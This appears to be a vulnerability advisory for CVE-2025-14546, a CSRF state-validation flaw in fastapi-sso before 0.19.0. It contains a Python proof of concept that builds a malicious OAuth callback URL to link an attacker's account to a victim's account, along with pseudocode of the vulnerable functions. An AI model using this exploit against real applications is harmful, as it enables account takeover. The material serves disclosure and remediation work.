CVE-2025-14546 fastapi-sso OAuth CSRF状态验证缺陷漏洞

# Malicious OAuth Callback URL for CVE-2025-14546 # Attack Scenario: Link attacker's OAuth account to victim's internal account import urllib.parse # Step 1: Attacker initiates OAuth flow and captures the callback URL # The attacker would use their own OAuth account (e.g., [email protected]) # Step 2: Attacker constructs malicious callback URL # Original callback format: # https://victim-app.com/callback?state=RANDOM_STATE&code=AUTH_CODE # Attacker modifies and distributes this URL: malicious_state = "attacker_controlled_state_value" malicious_code = "attacker_oauth_authorization_code" victim_callback_base = "https://victim-app.com/callback" malicious_url = f"{victim_callback_base}?state={malicious_state}&code={malicious_code}" print(f"Malicious URL to send to victim: {malicious_url}") # Step 3: When victim clicks the link while logged in, # their account gets linked to attacker's OAuth account because: # - verify_and_process() accepts any state value # - No validation against server-side stored state # - Attacker's OAuth code is accepted as valid # The vulnerable code flow: """ # In fastapi-sso < 0.19.0: # 1. get_login_url (generates but doesn't store state): async def get_login_url(self, request: Request, redirect_uri: str) -> str: state = secrets.token_urlsafe(16) # State generated but NOT saved to session! params = {"state": state, ...} return self.provider.get_authorize_url(**params) # 2. verify_and_process (accepts any state without validation): async def verify_and_process(self, request: Request) -> User: code = request.query_params.get("code") state = request.query_params.get("state") # State taken directly from URL! # NO validation: if state in session matches this state user = await self.provider.get_user_from_token(code, redirect_uri) return user """